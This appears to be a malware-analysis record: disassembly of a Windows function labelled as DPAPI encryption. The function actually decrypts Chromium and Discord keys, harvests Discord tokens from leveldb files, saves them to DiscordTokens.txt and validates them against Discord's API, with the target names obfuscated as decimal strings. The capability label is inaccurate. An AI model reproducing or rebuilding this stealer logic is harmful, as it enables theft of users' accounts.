Function at 0x140026760
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x3d80
call fcn.14025f160
sub rsp, rax
mov rax, qword [0x140342fc0]
xor rax, rsp
mov qword [rsp + 0x3d78], rax
xor r14d, r14d
mov r15d, r14d
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x44], r14d
lea rcx, str.LOCALAPPDATA
call fcn.14027d4e8
mov qword [rsp + 0x260], rax
test rax, rax
jne 0x1400267e2
lea rdx, str._LOCALAPPDATA__environment_variable_not_found.
lea rcx, [0x14035b600]
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
jmp 0x14002e275
lea rcx, str.APPDATA
call fcn.14027d4e8
mov qword [rsp + 0x70], rax
test rax, rax
je 0x14002e275
lea rcx, [rsp + 0x2608]
call fcn.140009f00
lea rcx, [rsp + 0x1cb0]
call fcn.14005b230
nop
lea rcx, [rsp + 0x1cf0]
call fcn.14005b2a0
nop
lea rcx, [rsp + 0x1d30]
call fcn.14005b310
nop
lea rcx, [rsp + 0x1d70]
call fcn.14005b380
nop
lea rcx, [rsp + 0x1db0]
call fcn.14005b3f0
nop
lea rcx, [rsp + 0x1df0]
call fcn.14005b460
nop
lea rcx, [rsp + 0x1e30]
call fcn.14005b4d0
nop
lea rcx, [rsp + 0x1e70]
call fcn.14005b540
nop
lea rcx, [rsp + 0x1eb0]
call fcn.14005b5b0
nop
lea rcx, [rsp + 0x1ef0]
call fcn.14005b620
nop
lea r8, str.92_73_114_105_100_105_117_109_92_85_115_101_114_32_68_97_116_97
lea rdx, str.73_114_105_100_105_117_109_32_66_114_111_119_115_101_114
lea rcx, [rsp + 0x1f30]
call fcn.14005b690
nop
lea rcx, [rsp + 0x1f70]
call fcn.14005b720
nop
lea rcx, [rsp + 0x1fb0]
call fcn.14005b790
nop
lea rcx, [rsp + 0x1ff0]
call fcn.14005b800
nop
lea rcx, [rsp + 0x2030]
call fcn.14005b870
nop
lea rcx, [rsp + 0x2070]
call fcn.14005b8e0
nop
lea r8, str.92_79_114_98_105_116_117_109_92_85_115_101_114_32_68_97_116_97
lea rdx, str.79_114_98_105_116_117_109_32_66_114_111_119_115_101_114
lea rcx, [rsp + 0x20b0]
call fcn.14005b690
nop
lea rcx, [rsp + 0x20f0]
call fcn.14005b950
nop
lea r8, str.92_84_104_111_114_105_117_109_92_85_115_101_114_32_68_97_116_97
lea rdx, str.84_104_111_114_105_117_109_32_66_114_111_119_115_101_114
lea rcx, [rsp + 0x2130]
call fcn.14005b690
nop
lea rcx, [rsp + 0x2170]
call fcn.14005b9c0
nop
lea rcx, [rsp + 0x21b0]
call fcn.14005ba30
nop
lea r8, str.92_86_105_118_97_108_100_105_92_85_115_101_114_32_68_97_116_97
lea rdx, str.86_105_118_97_108_100_105_32_66_114_111_119_115_101_114
lea rcx, [rsp + 0x21f0]
call fcn.14005b690
nop
lea rcx, [rsp + 0x2230]
call fcn.14005baa0
nop
lea rax, [rsp + 0x1cb0]
mov qword [rsp + 0x2920], rax
lea rax, [rsp + 0x2270]
mov qword [rsp + 0x2928], rax
movaps xmm0, xmmword [rsp + 0x2920]
movdqa xmmword [rsp + 0x150], xmm0
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x2608]
call fcn.140041e70
nop
lea r9, [fcn.140014eb0]
mov edx, 0x40
lea r8d, [rdx - 0x29]
lea rcx, [rsp + 0x1cb0]
call fcn.14025e8e4
nop
lea rdx, str.79_112_101_114_97_32_66_114_111_119_115_101_114
lea rcx, [rsp + 0xe00]
call fcn.140011ee0
nop
lea rdx, [rsp + 0xe00]
lea rcx, [rsp + 0x28c8]
call fcn.140026440
nop
lea rcx, [rsp + 0xe00]
call fcn.140047270
lea rdx, str.79_112_101_114_97_71_120_32_66_114_111_119_115_101_114
lea rcx, [rsp + 0xe20]
call fcn.140011ee0
nop
lea rdx, [rsp + 0xe20]
lea rcx, [rsp + 0x2678]
call fcn.140026440
nop
lea rcx, [rsp + 0xe20]
call fcn.140047270
lea rcx, [rsp + 0x25f0]
call fcn.140009f00
lea rcx, [rsp + 0x25f0]
call fcn.14000e2d0
nop
mov rax, qword [rsp + 0x2608]
mov rax, qword [rax]
mov qword [rsp + 0x2600], rax
cmp byte [rax + 0x19], 0
jne 0x140026b12
lea rbx, [rax + 0x20]
mov rdx, rbx
lea rcx, [rsp + 0x3248]
call fcn.140026440
nop
lea rdx, [rbx + 0x20]
lea rcx, [rsp + 0x32a8]
call fcn.140026440
nop
lea rdx, [rsp + 0x3248]
lea rcx, [rsp + 0x25f0]
call fcn.140041e50
lea rdx, [rsp + 0x32a8]
mov rcx, rax
call fcn.1400471e0
nop
lea rcx, [rsp + 0x32a8]
call fcn.140047270
nop
lea rcx, [rsp + 0x3248]
call fcn.140047270
lea rcx, [rsp + 0x2600]
call fcn.140040d10
mov rax, qword [rsp + 0x2600]
jmp 0x140026a86
lea rcx, [rsp + 0x2618]
call fcn.140009f00
lea rdx, [rsp + 0x25f0]
lea rcx, [rsp + 0x2618]
call fcn.140041fd0
nop
mov rax, qword [rsp + 0x2618]
mov rax, qword [rax]
mov qword [rsp + 0x2968], rax
lea r13, [0x1402f5bdc]
lea rsi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
lea r12, vtable.std::ios_base.0
nop dword [rax]
cmp byte [rax + 0x19], 0
jne 0x14002e218
lea rbx, [rax + 0x20]
lea rdi, [rbx + 0x20]
mov qword [rsp + 0x2600], rdi
mov rdx, rdi
lea rcx, [rsp + 0x2868]
call fcn.140047470
nop
mov rdx, rbx
lea rcx, [rsp + 0x2648]
call fcn.140047470
nop
lea rcx, [rsp + 0x2e70]
call fcn.1400310a0
lea rcx, [rsp + 0x2e70]
call fcn.14003f7c0
nop
lea r8, [rsp + 0x2648]
lea rdx, [rsp + 0x2708]
lea rcx, [rsp + 0x2e70]
call fcn.14003f6a0
nop
lea rcx, [rsp + 0x2628]
call fcn.140047590
nop
lea rdx, str.68_105_115_99_111_114_100
lea rcx, [rsp + 0x500]
call fcn.140011ee0
nop
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0x2828]
call fcn.140026440
nop
lea rcx, [rsp + 0x500]
call fcn.140047270
lea rdx, str.68_105_115_99_111_114_100_32_67_97_110_97_114_121
lea rcx, [rsp + 0x520]
call fcn.140011ee0
nop
lea rdx, [rsp + 0x520]
lea rcx, [rsp + 0x2808]
call fcn.140026440
nop
lea rcx, [rsp + 0x520]
call fcn.140047270
lea rdx, str.76_105_103_104_116_99_111_114_100
lea rcx, [rsp + 0x540]
call fcn.140011ee0
nop
lea rdx, [rsp + 0x540]
lea rcx, [rsp + 0x2848]
call fcn.140026440
nop
lea rcx, [rsp + 0x540]
call fcn.140047270
lea rdx, str.68_105_115_99_111_114_100_32_80_84_66
lea rcx, [rsp + 0x580]
call fcn.140011ee0
nop
lea rdx, [rsp + 0x580]
lea rcx, [rsp + 0x27e8]
call fcn.140026440
nop
lea rcx, [rsp + 0x580]
call fcn.140047270
lea rdx, [rsp + 0x2828]
lea rcx, [rsp + 0x2648]
call fcn.140055450
test al, al
jne 0x140026dd5
lea rdx, [rsp + 0x2808]
lea rcx, [rsp + 0x2648]
call fcn.140055450
test al, al
jne 0x140026dd5
lea rdx, [rsp + 0x2848]
lea rcx, [rsp + 0x2648]
call fcn.140055450
test al, al
jne 0x140026dd5
lea rdx, [rsp + 0x27e8]
lea rcx, [rsp + 0x2648]
call fcn.140055450
test al, al
jne 0x140026dd5
lea rdx, [rsp + 0x28c8]
lea rcx, [rsp + 0x2648]
call fcn.140055450
test al, al
jne 0x140026d9e
lea rdx, [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
call fcn.140055450
test al, al
jne 0x140026d9e
mov r8, rdi
mov rdx, qword [rsp + 0x260]
lea rcx, [rsp + 0x1430]
call fcn.140053bd0
mov rdx, rax
lea rcx, [rsp + 0x2628]
call fcn.1400472d0
lea rcx, [rsp + 0x1430]
jmp 0x1400281fb
mov r8, qword [rsp + 0x2600]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x1450]
call fcn.140053bd0
mov rdx, rax
lea rcx, [rsp + 0x2628]
call fcn.1400472d0
lea rcx, [rsp + 0x1450]
jmp 0x1400281fb
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x1490]
call fcn.140011ee0
nop
mov r8, qword [rsp + 0x2600]
mov rdx, rax
lea rcx, [rsp + 0x1470]
call fcn.1400522b0
mov rdx, rax
lea rcx, [rsp + 0x2628]
call fcn.1400472d0
lea rcx, [rsp + 0x1470]
call fcn.140047270
nop
lea rcx, [rsp + 0x1490]
call fcn.140047270
lea rdx, [rsp + 0x2628]
lea rcx, [rsp + 0x5a0]
call fcn.14005bb10
nop
lea rcx, [rsp + 0x5a0]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0x5a0]
call fcn.140006630
test bl, bl
je 0x140028200
lea rdx, str.92_76_111_99_97_108_32_83_116_97_116_101
lea rcx, [rsp + 0x5c0]
call fcn.140011ee0
nop
lea rdx, [rsp + 0x5c0]
lea rcx, [rsp + 0x2f60]
call fcn.140026440
nop
lea rcx, [rsp + 0x5c0]
call fcn.140047270
lea r8, [rsp + 0x2f60]
lea rdx, [rsp + 0x2628]
lea rcx, [rsp + 0x2d00]
call fcn.1400521d0
nop
lea rdx, [rsp + 0x2d00]
lea rcx, [rsp + 0x5e0]
call fcn.14005bb10
nop
lea rcx, [rsp + 0x5e0]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0x5e0]
call fcn.140006630
test bl, bl
je 0x1400281e5
lea rcx, [rsp + 0x3a30]
call fcn.140013220
mov r8d, 1
lea rdx, [rsp + 0x2d00]
lea rcx, [rsp + 0x3a30]
call fcn.140041c40
nop
cmp qword [rsp + 0x3ac0], 0
jne 0x140027039
lea rcx, [rsp + 0x3a30]
call fcn.140013180
nop
lea rcx, [rsp + 0x2d00]
call fcn.140047270
nop
lea rcx, [rsp + 0x2f60]
call fcn.140047270
nop
lea rcx, [rsp + 0x27e8]
call fcn.140047270
nop
lea rcx, [rsp + 0x2848]
call fcn.140047270
nop
lea rcx, [rsp + 0x2808]
call fcn.140047270
nop
lea rcx, [rsp + 0x2828]
call fcn.140047270
nop
lea rcx, [rsp + 0x2628]
call fcn.140047270
nop
lea rcx, [rsp + 0x2708]
call fcn.140006630
nop
lea rcx, [rsp + 0x2e70]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2648]
call fcn.140047270
nop
lea rcx, [rsp + 0x2868]
call fcn.140047270
nop
lea rdx, [rsp + 0x2618]
lea rcx, [rsp + 0x2618]
call fcn.14005f010
nop
lea rdx, [rsp + 0x25f0]
lea rcx, [rsp + 0x25f0]
call fcn.14005f010
nop
lea rcx, [rsp + 0x2678]
call fcn.140047270
nop
lea rcx, [rsp + 0x28c8]
call fcn.140047270
nop
lea rdx, [rsp + 0x2608]
lea rcx, [rsp + 0x2608]
call fcn.14005f010
jmp 0x14002e275
xor edx, edx
lea rcx, [rsp + 0x28e8]
call fcn.14004c6b0
nop
lea rdx, [rsp + 0x28e8]
lea rcx, [rsp + 0x3a30]
call fcn.140043720
lea rcx, [rsp + 0x3a30]
call fcn.140041ba0
lea rdx, [rsp + 0x1bf0]
lea rcx, [rsp + 0x28e8]
call fcn.14005bb70
mov r10, rax
lea rdx, [rsp + 0x1c30]
lea rcx, [rsp + 0x28e8]
call fcn.1400437c0
mov rdx, rax
mov rcx, r10
call fcn.14005bd40
test al, al
je 0x1400281c9
lea rdx, str.os_crypt
lea rcx, [rsp + 0x28e8]
call fcn.14005af90
lea rdx, [rsp + 0x1c50]
mov rcx, rax
call fcn.14005be10
mov rbx, rax
lea rdx, str.os_crypt
lea rcx, [rsp + 0x28e8]
call fcn.14005af90
lea rdx, [rsp + 0x1c10]
mov rcx, rax
call fcn.1400437c0
mov rdx, rax
mov rcx, rbx
call fcn.14005bd40
test al, al
je 0x1400281c9
lea rdx, str.os_crypt
lea rcx, [rsp + 0x28e8]
call fcn.14005af90
lea rdx, str.encrypted_key
mov rcx, rax
call fcn.14005af90
lea rdx, [rsp + 0x2f80]
mov rcx, rax
call fcn.14005b0b0
nop
lea rcx, [rsp + 0x2a80]
call fcn.140047590
nop
lea rcx, [rsp + 0x39c0]
call fcn.140013280
mov ecx, 0x68
call fcn.14025e8a8
mov rbx, rax
mov qword [rsp + 0x488], rax
mov rcx, rax
call fcn.1400310d0
mov ecx, 0x20
call fcn.14025e8a8
mov qword [rsp + 0x4a0], rax
mov rcx, rax
call fcn.140030df0
lea rdx, [rsp + 0x2a80]
call fcn.140042f40
nop
mov rdx, rax
mov rcx, rbx
call fcn.140010e10
mov rbx, rax
lea rcx, [rsp + 0x2f80]
call fcn.140046fe0
mov qword [rsp + 0x20], rbx
mov r8, qword [rsp + 0x2f90]
mov rdx, rax
lea rcx, [rsp + 0x39c0]
call fcn.1400108c0
nop
lea rdx, str.DPAPI
lea rcx, [rsp + 0x2d20]
call fcn.140011ee0
nop
mov r9, qword [rsp + 0x2d30]
xor r8d, r8d
lea rdx, [rsp + 0x14b0]
lea rcx, [rsp + 0x2a80]
call fcn.140046dc0
lea rdx, [rsp + 0x2d20]
mov rcx, rax
call fcn.140055450
movzx ebx, al
lea rcx, [rsp + 0x14b0]
call fcn.140047270
test bl, bl
je 0x140027270
mov r9, 0xffffffffffffffff
mov r8, qword [rsp + 0x2d30]
lea rdx, [rsp + 0x14d0]
lea rcx, [rsp + 0x2a80]
call fcn.140046dc0
mov rdx, rax
lea rcx, [rsp + 0x2a80]
call fcn.1400472d0
lea rcx, [rsp + 0x14d0]
call fcn.140047270
xor edx, edx
lea rcx, [rsp + 0x2a80]
call fcn.140047070
mov qword [rsp + 0x24b8], rax
mov eax, dword [rsp + 0x2a90]
mov dword [rsp + 0x24b0], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x2490], xmm0
lea rax, [rsp + 0x2490]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x24b0]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x140028191
lea rcx, [rsp + 0x2b70]
call fcn.140014e40
mov r8d, dword [rsp + 0x2490]
mov rdx, qword [rsp + 0x2498]
add r8, rdx
lea rcx, [rsp + 0x2b70]
call fcn.14005bfe0
nop
lea rdx, str.92_76_111_99_97_108_32_83_116_111_114_97_103_101_92_108_101_118_101_108_100_98
lea rcx, [rsp + 0x600]
call fcn.140011ee0
nop
lea rdx, [rsp + 0x600]
lea rcx, [rsp + 0x3208]
call fcn.140026440
nop
lea rcx, [rsp + 0x600]
call fcn.140047270
lea r8, [rsp + 0x3208]
lea rdx, [rsp + 0x2628]
lea rcx, [rsp + 0x3228]
call fcn.1400521d0
nop
lea rcx, [rsp + 0x2cc8]
call fcn.140014e40
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x2cc8], xmm1
mov qword [rsp + 0x2cd8], r14
lea rcx, [rsp + 0x2930]
call fcn.140014e40
movdqu xmmword [rsp + 0x2930], xmm1
mov qword [rsp + 0x2940], r14
lea rcx, [rsp + 0x29d0]
call fcn.140014e40
movdqu xmmword [rsp + 0x29d0], xmm1
mov qword [rsp + 0x29e0], r14
lea rcx, [rsp + 0x31c0]
call fcn.1400132a0
lea rdx, str.dQw4w9WgXcQ:__.______
lea rcx, [rsp + 0x31c0]
call fcn.140042140
nop
lea rdx, [rsp + 0x3228]
lea rcx, [rsp + 0x620]
call fcn.14005bb10
nop
lea rdx, [rsp + 0x620]
lea rcx, [rsp + 0x2ac0]
call fcn.140009150
nop
lea rcx, [rsp + 0x620]
call fcn.140006630
lea rcx, [rsp + 0x2a18]
call fcn.140009f00
lea rdx, [rsp + 0x2ac0]
lea rcx, [rsp + 0x438]
call fcn.14000eed0
mov rdx, rax
lea rcx, [rsp + 0x2a18]
call fcn.1400091d0
nop
lea rcx, [rsp + 0x2920]
call fcn.140009f00
lea rdx, [rsp + 0x2ac0]
lea rcx, [rsp + 0x428]
call fcn.14000eed0
mov rdx, rax
lea rcx, [rsp + 0x2920]
call fcn.140009250
nop
mov rsi, qword [rsp + 0x2920]
nop
mov rax, qword [rsp + 0x2a18]
cmp rax, rsi
je 0x1400277a3
lea rdi, [rax + 0x20]
mov rcx, rdi
call fcn.140009f10
test al, al
je 0x14002754a
lea rdx, str..ldb
lea rcx, [rsp + 0x640]
call fcn.14005c040
nop
or r15d, 1
mov dword [rsp + 0x44], r15d
lea rdx, [rsp + 0x1510]
mov rcx, rdi
call fcn.140005ea0
nop
or r15d, 2
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x44], r15d
lea rdx, [rsp + 0x640]
mov rcx, rax
call fcn.1400065a0
test al, al
jne 0x140027546
lea rdx, str..log
lea rcx, [rsp + 0xc00]
call fcn.14005c040
nop
or r15d, 4
mov dword [rsp + 0x44], r15d
lea rdx, [rsp + 0x14f0]
mov rcx, rdi
call fcn.140005ea0
or r15d, 8
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x44], r15d
lea rdx, [rsp + 0xc00]
mov rcx, rax
call fcn.1400065a0
test al, al
je 0x14002754a
mov bl, 1
jmp 0x14002754c
xor bl, bl
test r15b, 8
je 0x14002756e
and r15d, 0xfffffff7
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x44], r15d
lea rcx, [rsp + 0x14f0]
call fcn.140006630
nop
test r15b, 4
je 0x140027590
and r15d, 0xfffffffb
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x44], r15d
lea rcx, [rsp + 0xc00]
call fcn.140006630
nop
test r15b, 2
je 0x1400275b2
and r15d, 0xfffffffd
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x44], r15d
lea rcx, [rsp + 0x1510]
call fcn.140006630
nop
test r15b, 1
je 0x1400275d3
and r15d, 0xfffffffe
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x44], r15d
lea rcx, [rsp + 0x640]
call fcn.140006630
test bl, bl
je 0x140027791
lea rcx, [rsp + 0x24d0]
call fcn.140013220
lea rdx, [rsp + 0x1530]
mov rcx, rdi
call fcn.140005ba0
nop
mov r8d, 0x21
mov rdx, rax
lea rcx, [rsp + 0x24d0]
call fcn.140041c40
nop
lea rcx, [rsp + 0x1530]
call fcn.140047270
mov rax, qword [rsp + 0x24d0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x24d0]
add rcx, rax
call fcn.140005430
test al, al
je 0x140027784
lea rcx, [rsp + 0x2fe0]
call fcn.140047590
nop
nop
lea rdx, [rsp + 0x2fe0]
lea rcx, [rsp + 0x24d0]
call fcn.14005c0a0
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140005430
test al, al
je 0x140027768
lea rcx, [rsp + 0x34a0]
call fcn.140013280
lea rcx, [rsp + 0x34a0]
call fcn.140013230
nop
lea r8, [rsp + 0x31c0]
lea rdx, [rsp + 0x34a0]
lea rcx, [rsp + 0x2fe0]
call fcn.140054480
test al, al
je 0x140027756
mov edx, 1
lea rcx, [rsp + 0x34a0]
call fcn.1400424f0
lea rdx, [rsp + 0x2ca8]
mov rcx, rax
call fcn.140042480
nop
lea rcx, [rsp + 0x2ca8]
call fcn.140046ff0
cmp byte [rax], 0x5c
jne 0x140027700
lea rcx, [rsp + 0x2ca8]
call fcn.140047010
jmp 0x140027748
lea r9, [rsp + 0x2ca8]
mov r8, qword [rsp + 0x2938]
mov rdx, qword [rsp + 0x2930]
lea rcx, [rsp + 0x4a8]
call fcn.14005c130
mov rcx, qword [rsp + 0x2938]
cmp qword [rax], rcx
jne 0x140027748
lea rdx, [rsp + 0x2ca8]
lea rcx, [rsp + 0x2930]
call fcn.140043530
nop
lea rcx, [rsp + 0x2ca8]
call fcn.140047270
nop
lea rcx, [rsp + 0x34b0]
call fcn.140040d90
jmp 0x140027650
lea rcx, [rsp + 0x24d0]
call fcn.140041ba0
nop
lea rcx, [rsp + 0x2fe0]
call fcn.140047270
nop
lea rcx, [rsp + 0x24d0]
call fcn.140013180
lea rcx, [rsp + 0x2a18]
call fcn.1400091a0
jmp 0x140027480
lea rcx, [rsp + 0x2920]
call fcn.140009200
nop
lea rcx, [rsp + 0x2a18]
call fcn.140009200
nop
lea rcx, [rsp + 0x2ac0]
call fcn.140009200
lea rcx, [rsp + 0x2a28]
call fcn.140014e40
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x2a28], xmm1
mov qword [rsp + 0x2a38], r14
mov rdi, qword [rsp + 0x2930]
mov rsi, qword [rsp + 0x2938]
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x48], rdi
cmp rdi, rsi
je 0x14002799a
lea rdx, [0x1402f3798]
mov rcx, rdi
call fcn.140046e20
lea r8, [rax + 1]
mov r9, 0xffffffffffffffff
lea rdx, [rsp + 0x3040]
mov rcx, rdi
call fcn.140046dc0
nop
lea rcx, [rsp + 0x2fc0]
call fcn.140047590
nop
lea rcx, [rsp + 0x3950]
call fcn.140013280
mov ecx, 0x68
call fcn.14025e8a8
mov rbx, rax
mov qword [rsp + 0x3f0], rax
mov rcx, rax
call fcn.1400310d0
mov ecx, 0x20
call fcn.14025e8a8
mov qword [rsp + 0x4b0], rax
mov rcx, rax
call fcn.140030df0
lea rdx, [rsp + 0x2fc0]
call fcn.140042f40
nop
mov rdx, rax
mov rcx, rbx
call fcn.140010e10
mov rbx, rax
lea rcx, [rsp + 0x3040]
call fcn.140046fe0
mov qword [rsp + 0x20], rbx
mov r8, qword [rsp + 0x3050]
mov rdx, rax
lea rcx, [rsp + 0x3950]
call fcn.1400108c0
nop
mov r8, qword [rsp + 0x2b78]
mov rdx, qword [rsp + 0x2b70]
lea rcx, [rsp + 0x1550]
call fcn.14005c1d0
nop
mov r9, rax
lea r8, [rsp + 0x2fc0]
lea rdx, [rsp + 0x32c8]
call fcn.14002e410
nop
lea rcx, [rsp + 0x1550]
call fcn.140047270
lea rdx, [rsp + 0x32c8]
lea rcx, [rsp + 0x2a28]
call fcn.140043530
nop
lea rcx, [rsp + 0x32c8]
call fcn.140047270
nop
lea rcx, [rsp + 0x3950]
call fcn.140010a80
nop
lea rcx, [rsp + 0x2fc0]
call fcn.140047270
nop
lea rcx, [rsp + 0x3040]
call fcn.140047270
nop
add rdi, 0x20
jmp 0x140027802
mov rsi, qword [rsp + 0x2a28]
mov r14, qword [rsp + 0x2a30]
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x48], rsi
cmp rsi, r14
je 0x140028109
mov r9, rsi
mov r8, qword [rsp + 0x29d8]
mov rdx, qword [rsp + 0x29d0]
lea rcx, [rsp + 0x4b8]
call fcn.14005c130
mov rcx, qword [rsp + 0x29d8]
cmp qword [rax], rcx
jne 0x140028100
mov rdx, rsi
lea rcx, [rsp + 0x29d0]
call fcn.140043530
lea r8, str.Applications
lea rdx, [0x14035d6f0]
lea rcx, [rsp + 0x2c68]
call fcn.1400256d0
nop
lea r8, str.Discord
lea rdx, [rsp + 0x2c68]
lea rcx, [rsp + 0x2c88]
call fcn.1400256d0
nop
lea rdx, [rsp + 0x2c68]
lea rcx, [rsp + 0x680]
call fcn.1400524f0
nop
lea rcx, [rsp + 0x680]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0x680]
call fcn.140006630
test bl, bl
jne 0x140027a9f
lea rdx, [rsp + 0x2c68]
lea rcx, [rsp + 0x6a0]
call fcn.1400524f0
nop
lea rcx, [rsp + 0x6a0]
call fcn.14000a170
nop
lea rcx, [rsp + 0x6a0]
call fcn.140006630
lea rdx, [rsp + 0x2c88]
lea rcx, [rsp + 0x6c0]
call fcn.1400524f0
nop
lea rcx, [rsp + 0x6c0]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0x6c0]
call fcn.140006630
test bl, bl
jne 0x140027b07
lea rdx, [rsp + 0x2c88]
lea rcx, [rsp + 0x6e0]
call fcn.1400524f0
nop
lea rcx, [rsp + 0x6e0]
call fcn.14000a170
nop
lea rcx, [rsp + 0x6e0]
call fcn.140006630
lea r8, [0x1402f3474]
lea rdx, [rsp + 0x2c88]
lea rcx, [rsp + 0x1570]
call fcn.1400256d0
nop
lea r8, str.DiscordTokens.txt
mov rdx, rax
lea rcx, [rsp + 0x2d40]
call fcn.140053950
nop
lea rcx, [rsp + 0x1570]
call fcn.140006630
lea rcx, [rsp + 0x3b40]
call fcn.1400311a0
lea rdx, [rsp + 0x2d40]
lea rcx, [rsp + 0x3b40]
call fcn.14003f230
nop
lea rdx, str._nToken_:
lea rcx, [rsp + 0x3b40]
call fcn.140053ef0
mov rdx, rsi
mov rcx, rax
call fcn.140053ed0
mov rcx, rax
call fcn.14005ab50
nop
lea rcx, [rsp + 0x2970]
call fcn.140009f00
lea rcx, [rsp + 0x2970]
call fcn.14000e2d0
nop
mov rdx, rsi
lea rcx, [rsp + 0x1590]
call fcn.1400c4170
mov rbx, rax
lea rdx, str.Authorization
lea rcx, [rsp + 0x700]
call fcn.140039730
nop
mov r8, rbx
lea rdx, [rsp + 0x700]
lea rcx, [rsp + 0x2970]
call fcn.140053a30
nop
lea rcx, [rsp + 0x700]
call fcn.140006630
nop
lea rcx, [rsp + 0x1590]
call fcn.140006630
lea rdx, str.Content_Type
lea rcx, [rsp + 0x720]
call fcn.140039730
nop
lea rdx, [rsp + 0x720]
lea rcx, [rsp + 0x2970]
call fcn.14005c220
nop
lea rcx, [rsp + 0x720]
call fcn.140006630
lea rdx, str.104_116_116_112_115_58_47_47_100_105_115_99_111_114_100_97_112_112_46_99_111_109_47_97_112_105_47_118_54_47_117_115_101_114_115_47_64_109_101
lea rcx, [rsp + 0x740]
call fcn.140011ee0
nop
lea rdx, [rsp + 0x740]
lea rcx, [rsp + 0x3288]
call fcn.140026440
nop
lea rcx, [rsp + 0x740]
call fcn.140047270
lea rdx, [rsp + 0x3288]
lea rcx, [rsp + 0x3268]
call fcn.1400c4170
nop
lea rcx, [rsp + 0x2aa0]
call fcn.140009f00
lea rdx, [rsp + 0x3268]
lea rcx, [rsp + 0x2360]
call fcn.140092220
nop
lea rdx, [rsp + 0x2360]
lea rcx, [rsp + 0x2aa0]
call fcn.1400b89d0
nop
lea rcx, [rsp + 0x2360]
call fcn.14000e1e0
lea rcx, [rsp + 0x2a08]
call fcn.140009f00
lea rdx, [0x140358b20]
lea rcx, [rsp + 0x15b0]
call fcn.1400399f0
mov rdx, rax
lea rcx, [rsp + 0x2a08]
call fcn.14000ee30
nop
mov rcx, qword [rsp + 0x2a08]
add rcx, 0x58
lea rdx, [rsp + 0x2970]
call fcn.14000e310
xor r15d, r15d
mov qword [rsp + 0x78], r15
lea rdx, [rsp + 0x2a08]
lea rcx, [rsp + 0x418]
call fcn.14000eed0
lea r9, [rsp + 0x78]
mov r8, rax
lea rdx, [rsp + 0x3f8]
lea rcx, [rsp + 0x2aa0]
call fcn.1400bc920
nop
lea rcx, [rsp + 0x3b40]
mov qword [rsp + 0x268], rcx
lea r8, [rsp + 0x268]
lea rdx, [rsp + 0x408]
mov rcx, rax
call fcn.14005c670
nop
mov rcx, rax
call fcn.14000de30
nop
lea rcx, [rsp + 0x408]
call fcn.140009200
nop
lea rcx, [rsp + 0x3f8]
call fcn.140009200
nop
lea rcx, [rsp + 0x78]
call fcn.14000bf50
lea rdx, str.104_116_116_112_115_58_47_47_100_105_115_99_111_114_100_97_112_112_46_99_111_109_47_97_112_105_47_118_54_47_117_115_101_114_115_47_64_109_101
lea rcx, [rsp + 0x760]
call fcn.140011ee0
nop
lea rdx, [rsp + 0x760]
lea rcx, [rsp + 0x31e8]
call fcn.140026440
nop
lea rcx, [rsp + 0x760]
call fcn.140047270
lea rdx, [rsp + 0x31e8]
lea rcx, [rsp + 0x32e8]
call fcn.1400c4170
nop
lea rcx, [rsp + 0x2ab0]
call fcn.140009f00
lea rdx, [rsp + 0x32e8]
lea rcx, [rsp + 0x2270]
call fcn.140092220
nop
lea rdx, [rsp + 0x2270]
lea rcx, [rsp + 0x2ab0]
call fcn.1400b89d0
nop
lea rcx, [rsp + 0x2270]
call fcn.14000e1e0
lea rcx, [rsp + 0x2980]
call fcn.140009f00
lea rdx, [0x140358b20]
lea rcx, [rsp + 0x15d0]
call fcn.1400399f0
mov rdx, rax
lea rcx, [rsp + 0x2980]
call fcn.14000ee30
nop
mov rbx, qword [rsp + 0x2980]
mov rdx, rsi
lea rcx, [rsp + 0x15f0]
call fcn.1400c4170
mov rdi, rax
lea rdx, str.Authorization
lea rcx, [rsp + 0x780]
call fcn.140039730
nop
mov r8, rdi
lea rdx, [rsp + 0x780]
lea rcx, [rbx + 0x58]
call fcn.140053a30
nop
lea rcx, [rsp + 0x780]
call fcn.140006630
nop
lea rcx, [rsp + 0x15f0]
call fcn.140006630
mov rbx, qword [rsp + 0x2980]
lea rdx, str.Content_Type
lea rcx, [rsp + 0x7a0]
call fcn.140039730
nop
lea rdx, [rsp + 0x7a0]
lea rcx, [rbx + 0x58]
call fcn.14005c220
nop
lea rcx, [rsp + 0x7a0]
call fcn.140006630
mov qword [rsp + 0x80], r15
lea rdx, [rsp + 0x2980]
lea rcx, [rsp + 0x458]
call fcn.14000eed0
lea r9, [rsp + 0x80]
mov r8, rax
lea rdx, [rsp + 0x490]
lea rcx, [rsp + 0x2ab0]
call fcn.1400bc920
nop
lea rdx, [rsp + 0x478]
mov rcx, rax
call fcn.14005caf0
mov rbx, rax
lea r8, [rsp + 0x2d40]
mov rdx, rsi
